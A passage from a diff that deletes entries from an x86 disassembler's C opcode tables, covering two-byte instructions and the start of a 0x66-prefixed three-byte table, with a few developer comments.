- { INSTRUCTION_TYPE_OTHER, "sysenter", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PRIV, "sysexit", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MOVC, "cmovo", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovno", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovb", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovae", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmove", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovne", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovbe", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmova", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovs", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovns", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovp", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovnp", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovl", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovge", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovle", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVC, "cmovg", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "movmskps", AM_G|OT_d, AM_V|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "sqrtps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "rsqrtps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "rcpps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "andps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "andnps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "orps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "xorps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "addps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "mulps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "cvtps2pd", AM_V|OT_pd, AM_W|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "cvtdq2ps", AM_V|OT_ps, AM_W|OT_dq, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "subps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "minps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "divps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "maxps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "punpcklbw",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "punpcklwd",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "punockldq",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "packusdw", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pcmpgtb", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pcmpgtw", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pcmpgtd", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "packsswb", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "punpckhbw",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "punpckhbd",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "punpckhdq",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "packssdw", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, "movd", AM_P|OT_d, AM_E|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "movq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pshufw", AM_P|OT_q, AM_Q|OT_q, AM_I|OT_b, 1 },
- // groups 12-14
- { INSTRUCTION_TYPE_MMX, "g12", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "g13", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "g14", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pcmpeqb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pcmpeqw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pcmpeqd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "emms", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, "movd", AM_E|OT_d, AM_P|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "movq", AM_Q|OT_q, AM_P|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_JMPC, "jo", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jno", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jb", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnb", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jz", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnz", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jbe", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnbe", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "js", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jns", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jp", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnp", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jl", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnl", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jle", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_JMPC, "jnle", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SETC, "seto", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setno", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setb", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setnb", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setz", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setnz", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setbe", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setnbe", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "sets", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setns", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setp", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setnp", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setl", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setnl", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setle", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SETC, "setnle", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_FS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_FS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "cpuid", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BT, "bt", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "shld", AM_E|OT_v, AM_G|OT_v, AM_I|OT_b, 1 },
- { INSTRUCTION_TYPE_OTHER, "shld", AM_E|OT_v, AM_G|OT_v, AM_REG|REG_ECX|OT_b, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // XXX: ibts: undocumented?
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_GS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_GS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "rsm", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BTS, "bts", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "shrd", AM_E|OT_v, AM_G|OT_v, AM_I|OT_b, 1 },
- { INSTRUCTION_TYPE_OTHER, "shrd", AM_E|OT_v, AM_G|OT_v, AM_REG|REG_ECX|OT_b, 1 },
- // XXX: check addressing mode, Intel manual is a little bit confusing...
- { INSTRUCTION_TYPE_OTHER, "grp15", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "cmpxchg", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, "cmpxchg", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_LFP, "lss", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_BTR, "btr", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_LFP, "lfs", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_LFP, "lgs", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVZX, "movzx", AM_G|OT_v, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVZX, "movzx", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // XXX: group 10 / invalid opcode?
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, "g8", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_BTC, "btc", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_BSF, "bsf", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_BSR, "bsr", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVSX, "movsx", AM_G|OT_v, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MOVSX, "movsx", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XADD, "xadd", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XADD, "xadd", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "cmpps", AM_V|OT_ps, AM_W|OT_ps, AM_I|OT_b, 1 },
- { INSTRUCTION_TYPE_OTHER, "movnti", AM_M|OT_d, AM_G|OT_d, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SSE, "pinsrw", AM_P|OT_w, AM_E|OT_w, AM_I|OT_b, 1 },
- { INSTRUCTION_TYPE_SSE, "pextrv", AM_G|OT_w, AM_P|OT_w, AM_I|OT_b, 1 },
- { INSTRUCTION_TYPE_SSE, "shufps", AM_V|OT_ps, AM_W|OT_ps, AM_I|OT_b, 1 },
- { INSTRUCTION_TYPE_OTHER, "g9", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_BSWAP, "bswap", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, "psrlw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psrld", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psrlq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmullw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, "pmovmskb", AM_G|OT_q, AM_P|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubusb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubusw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pminub", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pand", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddusb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddusw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmaxsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pandn", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pavgb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psraw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psrad", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pavgw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmulhuw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmulhw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, "movntq", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubsb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pminsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "por", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddsb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmaxsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pxor", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_MMX, "psllw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pslld", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psllq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmuludq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "pmaddwd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psadbw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- // XXX: check operand types
- { INSTRUCTION_TYPE_MMX, "maskmovq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "psubq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_MMX, "paddd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
-};
-
-// 3-byte instructions, prefix 0x66
-
-// Yeah, I know, it's waste to use a full 256-instruction table but now
-// I'm prepared for future Intel extensions ;-)
-
-INST inst_table3_66[256] = {
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf
- { INSTRUCTION_TYPE_SSE, "movupd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x10
- { INSTRUCTION_TYPE_SSE, "movupd", AM_W|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x11
- { INSTRUCTION_TYPE_SSE, "movlpd", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, // 0x12
- { INSTRUCTION_TYPE_SSE, "movlpd", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0x13
- { INSTRUCTION_TYPE_SSE, "unpcklpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x14
- { INSTRUCTION_TYPE_SSE, "unpcklpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x15
- { INSTRUCTION_TYPE_SSE, "movhpd", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, // 0x16
- { INSTRUCTION_TYPE_SSE, "movhpd", AM_M|OT_q, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x17
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20
